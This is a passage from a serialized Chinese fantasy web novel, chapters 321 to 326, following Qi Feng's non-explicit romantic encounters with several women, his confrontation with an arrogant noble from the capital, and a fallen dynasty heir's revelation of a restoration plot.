唯有透过窗纸隐约可见交叠的身影,以及那被秋风偶尔送出的、压抑而婉转的低吟浅唱,为这血月祭后的午后,增添了一抹不足为外人道的暧昧春色。
当夕阳西沉,暮色渐浓时,齐枫的房门才再次打开。
他已换了一身干净的常服,神清气爽,眉宇间带着一丝餍足的慵懒。
而楚清秋则稍晚一些才出来,发髻重新梳理过,衣裙整齐,只是眼角的春意与微微红肿的唇瓣,泄露了方才的激情。
她低着头,快步离开了齐枫的院落,回到自己的小屋,关上门,背靠着门板,心脏依旧跳得飞快,脸上却带着一种复杂难言混合着羞赧与一丝隐秘欢愉的神情。
血月祭的阴影尚未完全散去,新的风波或许正在酝酿。
但至少在此刻,在这锦绣阁内,有人暂时放下了沉重的包袱,在彼此的体温中,寻得了一丝乱世中的慰藉与安宁。
而齐枫之名,伴随着他昨夜那惊天动地的战绩,正以更快的速度,传向更远的地方!
府城的格局也悄然发生了剧变。
曾经显赫一时、与周,徐,陈并称府城四大家之一的袁家,一夜之间,大厦倾颓。
家主袁振山与其核心子弟在醉月楼之夜后便不知所踪,连同消失的还有家族库房中大量珍贵的财物和几件传闻中的祖传宝物。
留下的,不过是一些旁支远亲、不明就里的仆役,以及一个被掏空了根基、只剩下华丽外壳的袁府。
树倒猢狲散。
往日里依附于袁家的门人、客卿,见势不妙,纷纷另寻出路,或卷带细软逃离,或转而向其他三家示好。
袁家名下的诸多产业,酒楼、当铺、田庄、码头……瞬间成了无主之肉,引来了无数贪婪的目光。
府衙的反应迅速而果断。
赵明德以“勾结幽冥邪教,图谋不轨”的罪名,正式发文通缉袁振山等一干核心成员,并暂时查封了袁家所有明面上的产业,以待后续清查。
尽管所有人都知道,袁家积累百年的财富,恐怕早已被袁振山转移了大半,但剩下的残羹冷炙,也足以让许多人眼红。
四大家族,自此变成了三足鼎立。
赵家虽不在三家之内,却也因赵明德的关系,地位超然,其他三家则因为周子陵三人与齐枫交好,水涨船高。
府城的权力与财富,正在进行着一场无声的洗牌。
而这一切风暴的源头,都指向了那个如今已名动江南,甚至声名开始向京城扩散的年轻人,齐枫。
锦绣阁,依旧是人流络绎不绝,但比起前几日的喧嚣,多了几分井然有序。
南宫玥展现出了惊人的商业手腕和魄力,她并没有盲目扩张,而是在齐枫的默许下,联合三家家族,稳扎稳打地接手了袁家留下的部分优质产业,尤其是与丝绸布匹相关的渠道,进一步巩固了锦绣阁在行业内的龙头地位。
她像一只不知疲倦的蝴蝶,周旋于各方势力之间,洽谈、应酬、布局,将齐枫带来的巨大声望,巧妙地转化为实实在在的利益和影响力。
只有在夜深人静,拖着疲惫的身躯回到锦绣阁,看到齐枫书房那盏常亮的灯火时,她紧绷的神经才会稍稍放松,心底涌起一股难以言喻的满足。
这日晚间,南宫玥处理完一桩与其他家族合作的契据,揉着发胀的太阳穴回到阁中。
第三百二十一章 闺房之乐
经过齐枫书房时,见里面灯还亮着,她犹豫了一下,轻轻叩响了房门。
“进来。”齐枫的声音传来。
南宫玥推门而入,只见齐枫正站在书案前,提笔在一张宣纸上勾勒着什么,似乎是一幅复杂的地形图。
“齐郎,还没休息?”南宫玥走上前,很自然地拿起墨锭,为他细细研墨,动作优雅娴熟。
齐枫放下笔,抬眼看了看她,灯光下,她明艳的容颜带着一丝倦色,却更添几分我见犹怜的风情。
“有些琐事需要理清。你呢?外面的事情处理得如何?”
“还算顺利。”南宫玥微微一笑,俏脸带着几分自信,“与陈家的合作已经敲定,袁家留下的三个绸缎庄和一条漕运线路,我们也拿到了优先接手权。只是……盯着这块肥肉的人太多,暗地里的手脚不少,需要费些心思。”
“辛苦你了。”齐枫笑了笑。
能将这庞杂的商业事务处理得井井有条,南宫玥功不可没。
她不仅是他身边的女人,更是他事业上不可或缺的臂助。
南宫玥摇摇头,眼波流转,落在齐枫刚毅的侧脸上,声音柔了几分:“能为齐郎分忧,玥儿不觉得辛苦。只是……齐郎如今名声愈盛,我担心……”
她的话未说完,但齐枫明白她的忧虑与楚清秋如出一辙。
他伸手,将她揽入怀中,感受着她柔软的身躯和发间传来的馨香。
“不必担心。”他的手掌轻抚着她的后背,“名声是把双刃剑,用得好,便是护身符。你只管放手去做,一切有我。”
他的话语平静笃定,让人莫名就相信了。
南宫玥依偎在他坚实的胸膛前,听着他沉稳的心跳,连日来的疲惫与担忧仿佛都消散了不少。
她抬起头,美眸中水光潋滟,带着毫不掩饰的爱慕和依赖,主动踮起脚尖,吻上了他的唇。
书房内,灯火摇曳,映照着相拥的身影,气氛逐渐升温。
衣衫渐落,喘息微闻,一室春光悄然弥漫。
与此同时,赵府后宅,赵明兰却有些闷闷不乐。
她趴在闺房的窗台上,望着院子里开始凋零的花木,小嘴撅得老高。
大伯赵明德近日忙于处理袁家留下的烂摊子和应对上级可能的质询,对她管束稍松,但她却发现自己能见到齐枫的机会反而更少了。
那个家伙,现在可是府城,不,是整个江南道最炙手可热的人物!
每天不知道有多少人想见他,锦绣阁的门槛都快被踏破了。
自己虽然顶着赵府千金的名头,也不好总是往那里跑,惹人闲话。
“哼,有什么了不起的!不就是会打架,会破案嘛……”赵明兰小声嘟囔着,但脑海里却不自觉地浮现出齐枫在太白楼前睥睨群雄、在醉月楼力挽狂澜的英姿,心跳没来由地快了几分,脸颊也有些发烫。
她想起城郊亭中那个蜻蜓点水般的吻,以及后来那令人面红耳赤、却又忍不住回味的一幕,更是觉得浑身都不自在起来。
“死齐枫,臭齐枫!也不知道主动来看看我……”她抓起手边的一个绣花枕头,泄愤似的捶了两下。
就在这时,她的贴身丫鬟兴冲冲地跑进来:“小姐,小姐!齐公子来了!正在前厅和大老爷说话呢!”
“什么?”赵明兰猛地站起身,眼睛瞬间亮了,但随即又强装镇定,哼了一声,“他来就来呗,关我什么事……”
嘴上这么说,脚下却不由自主地快步走到梳妆台前,对着镜子仔细整理起有些凌乱的发髻和衣裙,还悄悄抿了点口脂,让嘴唇看起来更娇艳一些。
前厅中,齐枫确实是来找赵明德商议一些关于城防和后续幽冥教余孽清查的事情。
事情谈完,他正要告辞,赵明德却像是忽然想起什么,笑道:“贤弟难得来一趟,侄女明兰近日在家中念叨了你几次,贤弟若是不忙,不妨去看看她,这丫头被我和她父亲惯坏了,若有失礼之处,贤弟多多包涵。”
赵明德这话带着明显的撮合之意。
齐枫如今声望如日中天,前途不可限量,若能与之结亲,对赵家自然是百利而无一害。
齐枫何等人物,岂会听不出赵明德的弦外之音?
他微微一笑,从善如流:“赵小姐天真烂漫,何来失礼之说。既然大人吩咐,齐某便去探望一下。”
他来到赵明兰居住的小院,刚走进月亮门,就看到赵明兰假装在院子里赏花,眼神却不住地往门口瞟。
见到齐枫进来,赵明兰脸上闪过一丝惊喜,随即又板起小脸,扭过头去:“哟,这不是我们的大英雄齐公子吗?怎么有空到我这小地方来了?”
齐枫看着她那副明明很开心却非要故作姿态的娇憨模样,不禁觉得有些好笑。
他走上前,很自然地拉起了她的手:“怎么?不欢迎?”
他的手温暖干燥,赵明兰像是被烫了一下,想要挣脱,却被他握得更紧。
她脸颊绯红,心跳如鼓,嘴上却还不肯服软:“谁、谁不欢迎了!你爱来不来!”
齐枫低笑一声,俯身在她耳边低语:“可是我想来了。”
温热的气息拂过耳廓,带着他身上清冽好闻的味道,赵明兰腿一软,差点站不住。
她抬起头,对上齐枫那双含笑仿佛能看穿人心的眸子,所有的故作镇定瞬间土崩瓦解。
“你……你讨厌……”她声音细若蚊蚋,带着娇嗔。
齐枫不再多言,牵着她,走进了她的闺房。
房门轻轻合上,隔绝了外面的世界。
闺房内布置精致,充满了少女的气息。
赵明兰背靠着房门,胸口起伏,看着步步逼近的齐枫,既紧张又期待。
“你……你想干什么……”她的声音带着一丝颤抖,又有些期待。
齐枫伸手,抬起她的下巴,目光灼灼:“你说呢?”
没有多余的言语,他低头便吻住了她那喋喋不休的小嘴。
这个吻,不同于对待南宫玥的成熟风情,也不同于对待楚清秋的复杂试探,而是带着一种不容置疑的掠夺,征服,充满了青春的激情和霸道。
第三百二十二章 少女怀春
赵明兰起初还象征性地挣扎了两下,随即便彻底沉沦在他强势的攻势下,生涩而又热情地回应起来。
云收雨歇,赵明兰像只慵懒的小猫,蜷缩在齐枫怀里,脸上带着满足的红晕,手指无意识地在在他胸膛上画着圈。
“齐枫……”她轻声唤道,声音带着事后的沙哑与娇媚,“你以后……会不会不要我了?”
齐枫抚摸着她的秀发,带着一丝慵懒:“怎么会?”
“可是……你现在这么厉害,名气这么大,以后去了京城,肯定会有很多很多漂亮的女人围着你……”赵明兰带着浓浓的醋意和不安。
齐枫笑了笑,没有直接回答,而是反问道:“那你呢?堂堂赵府千金,难道还怕没人要?”
“我才不要别人!”赵明兰猛地抬起头,眼神执拗地看着他,“我就要你!齐枫,你答应我,不能丢下我!”
看着她眼中毫不掩饰的情意和占有欲,齐枫心中微微一动。
他捏了捏她的脸蛋:“好,答应你。”
得到他的承诺,赵明兰这才重新喜笑颜开,心满意足地重新窝回他怀里。
齐枫安抚着怀中的少女,眼神却透过窗棂,望向京城的方向。
就在齐枫于府城享受着短暂安宁与温柔乡的同时,一队风尘仆仆的人马,正沿着官道,向着府城疾驰而来。
为首的,是一名年约二十七八的青年,身穿剪裁合体的宝蓝色锦袍,腰束玉带,悬挂着一枚龙纹玉佩。
他面容俊朗,但眉宇间却带着一股挥之不去的倨傲与阴鸷,眼神锐利,看人时总带着几分不屑。
此人名为林天傲,乃当朝吏部尚书林文渊的嫡长孙,亦是京城有名的纨绔子弟之一。
其妹,便是嫁入袁家为媳的林氏,也就是袁克良的母亲。
袁家倒台,袁振山父子失踪的消息传回京城,林氏在家中哭得死去活来,央求父兄为其做主。
林文渊老谋深算,并未立刻表态,但其孙林天傲却是个耐不住性子的。
他本就对袁家这门亲戚不甚看重,但袁家的倒台,尤其是传闻中被一个叫齐枫的乡下小子一手导致,这让他感觉林家的脸面受到了挑衅。
加之他在京城时,便隐约听过齐枫的名字,似乎还与赵元昊那个废物有些过节,如今更是名声大噪,连陛下都下了特召,这让他心中极为不爽。
一个毫无根基的泥腿子,也配爬到他们这些世家子弟头上?
于是,他不顾祖父的些许劝阻,以“查清袁家之事”为名,带着一批林家蓄养的好手和几个趋炎附势的京中子弟,一路南下,直奔府城。
他的目的很简单,就是要会一会这个所谓的“齐公子”,好好煞一煞他的威风,让这乡巴佬知道,天有多高,地有多厚!有些圈子,不是他这种人能挤进来的;有些名声,也不是他配拥有的!
“还有多久到府城?”林天傲有些不耐烦地问身旁的随从。
“回公子,按现在的速度,明日晌午之前定能抵达。”
林天傲冷哼一声,眼中闪过一丝冷厉:“很好。吩咐下去,进城之后,直接去那什么锦绣阁!本公子倒要亲眼看看,这个齐枫,是不是真长了三头六臂!”
他仿佛已经看到,那个所谓的“英雄”,在自己面前卑躬屈膝、摇尾乞怜的模样。
这趟府城之行,他不仅要为林家挽回颜面,更要踩着齐枫如今如日中天的名声,让自己在京城纨绔圈里,再次扬名!
翌日。
府城的秋意渐浓,几场冷雨过后,天气彻底转凉。
但锦绣阁内,却似乎总是萦绕着一股不同于外界的暖意。
自那日与赵明兰闺房一晤后,这位知府千金往锦绣阁跑得愈发勤快了。
她不再像最初那般横冲直撞,反而多了几分少女怀春的娇羞,只是那点子刁蛮性子依旧,在齐枫面前尤其显得鲜活。
这日午后,秋阳暖融融的,透过雕花窗棂洒进齐枫的书房。
他正翻阅着苏晚晴派人送来的一些关于星象残余波动分析的卷宗,想从中找出幽冥教可能遁走的蛛丝马迹。
轻微的脚步声响起,伴随着环佩叮当。
抬头一看,竟是南宫玥与赵明兰联袂而来。
南宫玥穿着一身藕荷色的缕金百蝶穿花云锦裙,身姿婀娜,眉目如画,端庄中透着成熟的风韵。
她手中端着一盅刚炖好的冰糖燕窝,步履轻盈。
赵明兰则是一身火红的骑装改良后的便服,更衬得她肌肤胜雪,英姿飒爽。
她手里拎着一个小巧的食盒,脸上带着明媚又略带一丝挑衅的笑容,似乎在对南宫玥手中的燕窝表示不服。
“齐郎,看书久了伤神,喝点燕窝润一润。”南宫玥将白瓷盅轻轻放在书案上,声音柔得像能滴出水来。
“齐枫,这是我让厨房新做的桂花定胜糕,可好吃了,比那甜腻腻的燕窝强多了!”赵明兰不甘示弱,将食盒打开,露出里面造型精致、散发着甜香的点心。
两女一左一右站在书案前,目光虽都落在齐枫身上,但彼此间那无形的气场却隐隐碰撞,空气中弥漫着一丝微妙的竞争意味。
齐枫看着眼前这对风格迥异却同样出色的佳人,一个温婉解语,一个娇蛮鲜活,心中不由升起一丝难得的惬意。
他放下卷宗,唇角微勾:“都有心了。”
他先拿起勺子,尝了一口南宫玥炖的燕窝,火候恰到好处,清甜不腻,点了点头:“玥儿的手艺越发精进了。”
南宫玥眼中顿时漾开满足的笑意,柔声道:“齐郎喜欢就好。”
齐枫又拈起一块赵明兰带来的桂花定胜糕,放入口中,软糯香甜,带着浓郁的桂花气息,确实别有一番风味。“嗯,明兰这糕点也不错,很有新意。”
赵明兰立刻扬起了下巴,像只斗胜的小孔雀,得意地瞥了南宫玥一眼。
南宫玥却只是温婉一笑,并不与她争这口舌之快,转而拿起墨锭,自然地替齐枫研起墨来,姿态优雅从容。
第三百二十三章 两女斗艳
赵明兰见状,也不甘寂寞,凑到齐枫身边,拿起他刚才看的卷宗,装模作样地翻看起来,虽然看不太懂,却指着上面的星图叽叽喳喳地问这问那。
齐枫心情颇佳,倒也耐着性子,简单给她们讲解了几句星宿分野的常识。
两女一个安静聆听,一个活泼发问,书房内气氛一时竟显得格外和谐融洽。
阳光暖暖地照着,茶香、点心香混合着女儿家身上淡淡的馨香,萦绕在鼻尖。
看着身旁两位绝色佳人,一个研墨添香,一个红袖添乱,齐枫心中那根因连日谋划争斗而紧绷的弦,也稍稍松弛了下来。
或许是被这温馨的氛围所感染,或许是连日来的压力需要宣泄,又或许是男人骨子里那点隐秘的虚荣与欲望在作祟。
当南宫玥递过一杯新沏的香茗,柔荑与他手指轻触时,当赵明兰凑得过近,发丝蹭到他脸颊带来微痒时,齐枫眼中闪过一丝幽深的光芒。
他放下茶杯,手臂一伸,揽住了南宫玥纤细的腰肢,在她一声低低的惊呼中,将她带入怀中。
另一只手则顺势一带,将还没反应过来的赵明兰也圈了过来。
“呀!”赵明兰猝不及防,跌入他怀中,与南宫玥几乎贴在了一起,顿时羞得满脸通红,挣扎起来,“齐枫!你干什么!”
南宫玥也是脸颊飞霞,但比起赵明兰的慌乱,她更多了几分成**子的妩媚与顺从,眼波流转间,带着一丝了然的羞涩与期待。
齐枫低头,看着怀中双姝,一个如牡丹雍容,一个如玫瑰带刺,他低笑一声,嗓音蛊惑的沙哑:“今日阳光甚好,不如……一同歇息片刻?”
这话里的意味,再明显不过。
南宫玥嘤咛一声,将发烫的脸颊埋在他肩头,算是默许。
赵明兰则是心跳如擂鼓,又羞又急,想要反驳,却被齐枫低头封住了唇瓣,那强势而熟悉的掠夺感瞬间让她浑身发软,反抗的力气也消失无踪。
书房内的温度,似乎陡然升高了许多。
衣衫摩挲,喘息渐浓,一室春光,不足为外人道。
也不知过了多久,书房内才渐渐恢复了平静。
空气中弥漫着暧昧的气息,南宫玥与赵明兰一左一右偎在齐枫身侧,云鬓散乱,衣衫不整,脸上皆带着酣畅淋漓后的慵懒与红晕。
两女对视一眼,都从对方眼中看到了羞涩与一丝难以言喻的亲密,之前的那些许竞争心思,在这极致的亲密无间后,似乎也淡化了许多。
齐枫揽着两位佳人,感受着难得的温存与平静。
没过多久。
一阵急促而轻微的叩门声响起,打断了室内的旖旎。
“少爷。”是富贵的声音,带着一丝凝重。
齐枫眉头微皱,南宫玥和赵明兰也迅速整理了一下衣衫,恢复了正色。
“进来。”
富贵推门而入,目不斜视,低声道:“少爷,门外来了一行人,自称来自京城林家,为首的是吏部尚书林文渊的嫡孙,林天傲。他们……态度颇为不善,指名要见您。”
“林天傲?”齐枫目光一闪,迅速在记忆中搜索关于此人的信息。
吏部尚书林文渊之孙,袁家那个儿媳林氏的侄子……看来,是替袁家出头,或者更准确地说,是来寻衅找茬的。
南宫玥和赵明兰闻言,脸上都露出了担忧的神色。
京城林家,那可是真正的权贵世家,远非府城袁家可比。
“来得好快。”齐枫语气平淡,似乎并不意外。
他轻轻拍了拍两女的肩膀,示意她们安心,随即起身,整理了一下衣袍,神色恢复了一贯的从容。
“走吧,去看看这位京城来的‘贵客’,给我们带来了什么‘惊喜’。”
此刻,锦绣阁前厅,气氛已然变得剑拔**张。
林天傲大马金刀地坐在原本用于招待贵客的主位上,翘着二郎腿,手中把玩着一柄玉骨折扇,眼神倨傲地扫视着锦绣阁内部的陈设,嘴角带着毫不掩饰的轻蔑。
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周子陵和徐远、陈玉堂闻讯赶来,正脸色难看地站在一旁。
周子陵脾气火爆,几次想开口,都被徐远用眼神死死按住。对方来头太大,硬碰硬绝非明智之举。
“哼,这就是那个什么齐枫的产业?看起来也不怎么样嘛,俗气!”林天傲用扇子指了指厅堂的布置,语气轻佻,“看来这府城之地,果然是没什么见识,一个暴发户也能被捧成英雄。”
他身后一个跟班立刻附和道:“林公子说的是!这穷乡僻壤,能有什么真英雄?不过是矮子里面拔高个罢了!”
“就是,我看那齐枫,八成是走了狗屎运,或者用了什么见不得光的手段!”
几人肆无忌惮地议论着,声音不大不小,刚好能让周围锦绣阁的伙计和周子陵等人听得清清楚楚,显然是故意羞辱。
周子陵气得拳头紧握,额头青筋暴跳。
徐远也是面色阴沉,低声道:“子陵,忍住!等齐兄来!”
就在这时,脚步声从通往后院的廊道传来。
众人循声望去,只见齐枫一身简单的青衫,神色平静,缓步走了出来。
富贵如同影子般,沉默地跟在他身后。
看到正主出现,林天傲眼中闪过一丝厉色,但依旧坐在椅子上没动,只是用更加挑剔的目光上下打量着齐枫,仿佛在审视一件货物。
“你就是齐枫?”林天傲用扇子遥遥一点,带着居高临下的意味。
齐枫走到厅堂中央,目光平静地迎上林天傲的视线,淡然道:“正是在下。阁下是?”
“本公子林天傲,吏部尚书林文渊乃是我祖父。”林天傲傲然报出名号,等着看齐枫脸上露出惊慌或者谄媚的神色。
然而,齐枫只是微微颔首,依旧平淡:“原来是林公子,失敬。不知林公子大驾光临,有何指教?”
第三百二十四章 游刃有余
见他如此镇定,甚至可以说是“无动于衷”,林天傲心中那股不爽的感觉更浓了。
这乡巴佬,竟然不害怕?
他冷哼一声,用扇骨敲了敲掌心:“指教?谈不上。本公子此次南下,一是探望我那位受了惊吓的姑母,二来嘛,也是听说府城出了个了不得的人物,特来见识见识。”
他顿了顿,语气转冷,明显的挑衅道:“不过今日一见,倒是让本公子有些失望。看来传闻多有夸大,齐公子也不过如此,真不知是用了什么手段,竟能将袁家逼到那般田地?莫非是仗着有几分蛮力,行那欺男霸女、巧取豪夺之事?”
这话已是极其无礼的指控!
周子陵再也忍不住,怒喝道:“你胡说八道什么!袁家勾结幽冥教,罪有应得!齐兄是为民除害!”
林天傲眼神一寒,扫向周子陵:“哪里来的阿猫阿狗,也配在本公子面前放肆?掌嘴!”
他身后一名随从应声而动,身形如电,一巴掌就朝着周子陵脸上扇去!速度快得惊人,带起一股劲风!
周子陵根本来不及反应,眼看就要受辱!
就在那手掌即将碰到周子陵脸颊的瞬间,一只修长有力的手后发先至,如同铁钳般,精准地扣住了那名随从的手腕!
是齐枫!
他甚至没有看那名随从,目光依旧落在林天傲身上,脸色微冷:“林公子,这里是我的地方。要教训我的人,是否该先问过我?”
那名随从只觉得手腕如同被烧红的铁箍箍住,剧痛钻心,任凭他如何催动内力,竟无法撼动分毫,脸上瞬间露出骇然之色!
林天傲瞳孔也是微微一缩。
他这名随从可是林家精心培养的好手,已有接近先天初期的实力,竟然被齐枫如此轻描淡写地制住?
“哼!果然有几分蛮力!”林天傲强自镇定,冷笑道,“怎么?齐公子这是要仗着武力,对抗朝廷法度,对抗我林家不成?”
他直接扣下了一顶大帽子。
齐枫松开了手,那名随从踉跄后退,捂着手腕,又惊又怒地看着齐枫。
“林公子言重了。”齐枫淡然道,“齐某一向遵纪守法。袁家之事,府衙自有公断,通缉文书已下,林公子若有疑问,自可去府衙查阅卷宗。至于欺男霸女、巧取豪夺……这等污蔑之词,还请林公子慎言。我齐枫行事,但求问心无愧,却也不是任人污蔑之辈。”
他的话语不卑不亢,既点明了袁家罪有应得,又暗指林天傲无理取闹,污蔑他人。
林天傲脸色阴沉下来,他没想到齐枫如此难缠,不仅武力高强,言辞也这般犀利。
“好一个问心无愧!”林天傲猛地站起身,玉扇“唰”地合拢,指向齐枫,“齐枫,本公子懒得与你做口舌之争!你害得我姑母家破人亡,此事绝不能就此罢休!别说你只是一个小小的春闱榜首,便是陛下特召,在我林家面前,也算不得什么!”
他图穷匕见,直接以势压人。
“今日,本公子给你两个选择!”林天傲气势汹汹,“一,跪下来向我姑母磕头认错,自断一臂,并交出锦绣阁半数产业作为赔偿,此事或许还可商量!二,便是与我林家为敌!后果……你自己掂量!”
这条件,堪称苛刻至极,侮辱性极强!
厅内一片寂静,所有人都屏住了呼吸,看向齐枫。
周子陵等人气得浑身发抖,却又感到一股无力,林家的权势,确实像一座大山,压得人喘不过气。
躲在后面偷听的南宫玥和赵明兰,也是花容失色,紧紧攥住了拳头。
面对林天傲这咄咄逼人的威胁,齐枫却忽然笑了。
那笑容很淡,却带着一种说不出的嘲讽与冰冷。
他缓缓上前一步,目光如同两道冰冷的箭矢,直刺林天傲。
“林公子,你莫非以为,抬出林家,抬出吏部尚书,就能在这府城之地,为所欲为?”
“让我下跪认错?自断一臂?交出产业?”
齐枫每问一句,身上的气势便攀升一分,那并非单纯的武力威压,而
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是一种久居上位、执掌生杀予夺的无形气场!
“看来林尚书忙于朝政,对子孙的管教,却是疏漏了。”
“你!”林天傲被他的气势所慑,竟不由自主地后退了半步,随即恼羞成怒,“齐枫!你敢辱我祖父?!”
“非是侮辱,只是陈述事实。”齐枫语气依旧平淡,却带着不容置疑的力量,“袁家勾结幽冥教,罪证确凿,按律当诛九族!林公子今日在此为其张目,威逼利诱,试图以权势压人,颠倒黑白……此事若传回京城,不知林尚书脸上,是否好看?御史台的**奏章,又是否会因此多上几份?”
林天傲脸色瞬间变得煞白!
他没想到齐枫竟然如此大胆,不仅不怕林家权势,反而直接威胁要将事情闹大,牵扯到朝堂争斗!
他这次来,本是仗着家世想要快速碾压对方,挽回颜面,却没想到踢到了铁板!对方根本不按常理出牌!
齐枫看着他变幻不定的脸色,冷冷地吐出最后一句。
“林公子,请回吧。锦绣阁庙小,容不下你这尊大佛。若真想为你姑母‘讨回公道’,不妨让林尚书亲自上书陛下,**缘由。至于你……”
他的目光扫过林天傲及其随从,带着一丝毫不掩饰的轻蔑。
“还没资格在我面前,指手画脚。”
话音落下,满堂皆静!
所有人都被齐枫这番强硬到了极点、甚至可以说是“狂妄”的话语惊呆了!
他竟然直接硬怼京城林家的嫡孙,甚至抬出了皇帝和御史台来反将一军!
这简直是将林天傲的脸,按在地上摩擦!
林天傲气得浑身发抖,指着齐枫,嘴唇哆嗦着,却一句话也说不出来。
他带来的那些随从,也是面面相觑,不敢轻举妄动。
对方连林家都不怕,他们这些下人又能如何?
“好!好!好!齐枫!你很好!”林天傲从牙缝里挤出几个字,眼神怨毒得如同毒蛇,“今日之辱,本公子记下了!我们走着瞧!”
第三百二十五章 袒露心声
说完,他再也无颜停留,猛地一甩袖子,带着一群灰头土脸的随从,狼狈不堪地冲出了锦绣阁。
看着他们离去的背影,周子陵等人这才长长舒了一口气,随即用无比崇拜的目光看向齐枫。
“齐兄!你太厉害了!连林家的人都敢硬顶!”周子陵激动地喊道。
徐远也是心潮澎湃,低声道:“齐兄,此举虽痛快,但恐怕彻底得罪了林家,日后……”
齐枫摆了摆手,打断了他的话,目光深邃:“有些人,你越是退让,他越是得寸进尺。唯有展现出足够的力量和决心,才能让他有所顾忌。林家势大,但并非一手遮天。陛下特召在即,他们也不敢做得太过明目张胆。”
他转身,看向后院方向,仿佛能透过墙壁,看到那两位为他担忧的佳人。
“况且,我齐枫的路,从来都不是靠退让走出来的。”
林天傲的折戟,恐怕会让京城那边的目光更多地投向这个迅速崛起的江南新星。
林天傲在锦绣阁碰了一鼻子灰,狼狈离去的事情,如同长了翅膀,迅速传遍了府城的上层圈子。
众人惊叹于齐枫胆魄之余,也不禁为他捏了一把冷汗。
那可是京城林家,真正的庞然大物,其报复恐怕不会就此罢休。
作为风暴中心的齐枫,却似乎并未将此事太过放在心上。
他依旧每日里看书、品茶,偶尔处理一下锦绣阁和苏晚晴那边送来的情报,大部分时间都显得颇为闲适。
秋意渐深,转眼便到了九月初。
空气中桂花的甜香愈发浓郁,街巷间也开始有了准备过重阳节的氛围,茱萸、菊花糕的摊子渐渐多了起来。
这日傍晚,晚霞将天际染成一片瑰丽的橘红。
齐枫信步走到楚清秋所住的小院外。
院门虚掩着,里面静悄悄的。
他犹豫了一下,还是轻轻推门走了进去。
院子里,楚清秋正独自站在那几株略显颓败的秋菊前,背影单薄,带着一丝挥之不去的孤寂。
夕阳的余晖为她周身镀上了一层柔和的光晕,却驱不散那份仿佛与生俱来的清冷。
听到脚步声,她缓缓转过身。
见到是齐枫,她眼中闪过一丝微讶,随即又恢复了平静,只是那平静之下,似乎涌动着某种复杂的情绪。
“你来了。”她轻声开口,声音如同秋夜的凉风,带着一丝疏离,却又比往日少了几分刻意的冰冷。
齐枫走到她身边,与她并肩而立,看着那些在秋风中摇曳的菊花。“天气转凉,注意添衣。”
很平常的一句关心,却让楚清秋的心微微触动了一下。
她沉默了片刻,低声道:“嗯。”
两人一时无话,只有秋风拂过菊叶的沙沙声。
气氛有些微妙的凝滞,却又奇异地并不让人感到尴尬。
自从那日书房之后,两人之间的关系似乎进入了一种新的阶段,不再是纯粹的疏远与戒备,像是一层薄冰,看似坚固,实则下方已有暗流涌动。
“林天傲的事,我听说了。”最终还是楚清秋打破了沉默,她侧过头,看着齐枫线条分明的侧脸,“你打算如何应对?林家……非同小可。”
齐枫目光依旧落在菊花上,语气淡然:“兵来将挡,水来土掩。林家势大,但也并非铁板一块,更有其忌惮之处。眼下他们不敢明目张胆做什么,至于暗地里的手段……”
他顿了顿,嘴角勾起一抹冷冽的弧度,“我接着便是。”
他的自信与从容,仿佛带着一种奇异的力量,让楚清秋心中那份因林家名头而生的隐忧,悄然消散了几分。
她不得不承认,眼前这个男人,确实拥有着直面任何风雨的底气与能力。
她深吸了一口气,仿佛下定了某种决心。
目光扫视四周,确认无人后,她压低了声音,语气变得前所未有的郑重。
“齐枫,有件事……我想是时候告诉你了。”
齐枫转过头,迎上她清澈而坚定的目光,
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心中微动,知道她将要说的,绝非小事。
楚清秋的指尖无意识地蜷缩了一下,声音虽低,却字字清晰:“我并非仅仅只是乾朝遗臣,林将军之女那么简单。”
她停顿了一下,仿佛在积蓄勇气,然后直视着齐枫的眼睛,一字一句地道:“我,楚清秋,是乾朝最后一位皇帝,楚胤的嫡女,若乾朝未亡,我本该是……继任的储君,未来的……女帝。”?
尽管心中早有猜测,但亲耳听到“女帝”二字从她口中说出,齐枫的眼眸还是微微眯了一下。
他静静地看着她,没有打断,等待着她继续说下去。
吐出这个埋藏心底最深、最重的秘密,楚清秋仿佛卸下了一层千斤重担,但随之而来的是一种更深的忐忑。
她仔细观察着齐枫的反应,见他依旧平静,心中稍安,继续道:“**之时,我被霍将军拼死救出,后来失散,这些年来,我们从未放弃过复国的希望。霍将军在北境暗中积蓄力量,联络旧部,而我……则需在合适的时机,站出来,凝聚人心。”
她的语气带着一种与年龄不符的沉重与决绝。
“霍将军前日传来密信。”楚清秋的声音更低了几分,带着一丝不易察觉的激动,“时机将至。他已在北境暗中策划,准备在重阳节前后,趁边境守军换防、人心浮动之际,动手拿下毗邻北漠、原本属于我乾朝的三座边城,云朔、安岭、赤石。”
齐枫目光一凝。云朔、安岭、赤石三城,地处边境要冲,易守难攻,若真能拿下,无疑是在大景王朝的北疆撕开了一道口子,意义重大。
霍天都选择在重阳节动手,想必也是看准了这个传统节日,边境守备或许会有所松懈。
“此举风险极大。”齐枫沉声道,“一旦失败,霍将军和他多年的经营,将毁于一旦。而且,即便成功,也会立刻引来大景朝廷的疯狂反扑。”
“我知道。”楚清秋眼中闪过一丝痛色,但更多的是坚定。
第三百二十六章 打配合
楚清秋越发激动。
“但我们没有太多时间了。大景朝廷近年来内部争斗加剧,北漠也蠢蠢欲动,这是我们最好的,也可能是最后的机会。唯有展现出足够的力量,夺回故土,才能让那些仍在观望的乾朝旧臣和百姓,重新看到希望!”
她抬起头,目光灼灼地看向齐枫,那双清澈的眸子里,此刻燃烧着名为“复国”的火焰:“齐枫,我需要你的帮助。”
这不是请求,更像是一种宣告,一种基于两人之间复杂关系与共同利益基础上的摊牌。
齐枫沉默着。
他早就知道楚清秋身份不凡,背负着血海深仇,心里也大概有所猜测,却也没想到她竟是前朝皇室嫡系,身负女帝之名。
他看着楚清秋那双充满了决绝、期待,甚至带着一丝孤注一掷的脆弱眼眸,想起她腹中那个与自己血脉相连的孩子,心中已然有了决断。
“霍将军需要我做什么?”齐枫问道。
楚清秋眼中瞬间爆发出惊喜的光芒,她没想到齐枫会答应得如此干脆!
她强压下激动,快速说道:“霍将军希望,你能在南方,尤其是在府城乃至江南道,制造一些动静,吸引朝廷和锦衣卫的注意力,最好是能牵制住萧无痕和他麾下的部分力量,让他们无暇北顾。哪怕只是几天的时间,对北境的行动也至关重要!”
围魏救赵,声东击西。
很古老的计策,但往往很有效。
齐枫略一思索,便点了点头:“可以。重阳节将至,府城想必会很‘热闹’,我会让这热闹,更上一层楼。”
他没有问具体计划,但楚清秋知道,他既然答应了,就一定有办法做到。
这种无条件的信任感,让她冰冷的心湖,再次泛起涟漪。
“谢谢……”千言万语,最终只化作这两个字,却包含了太多复杂的情绪。
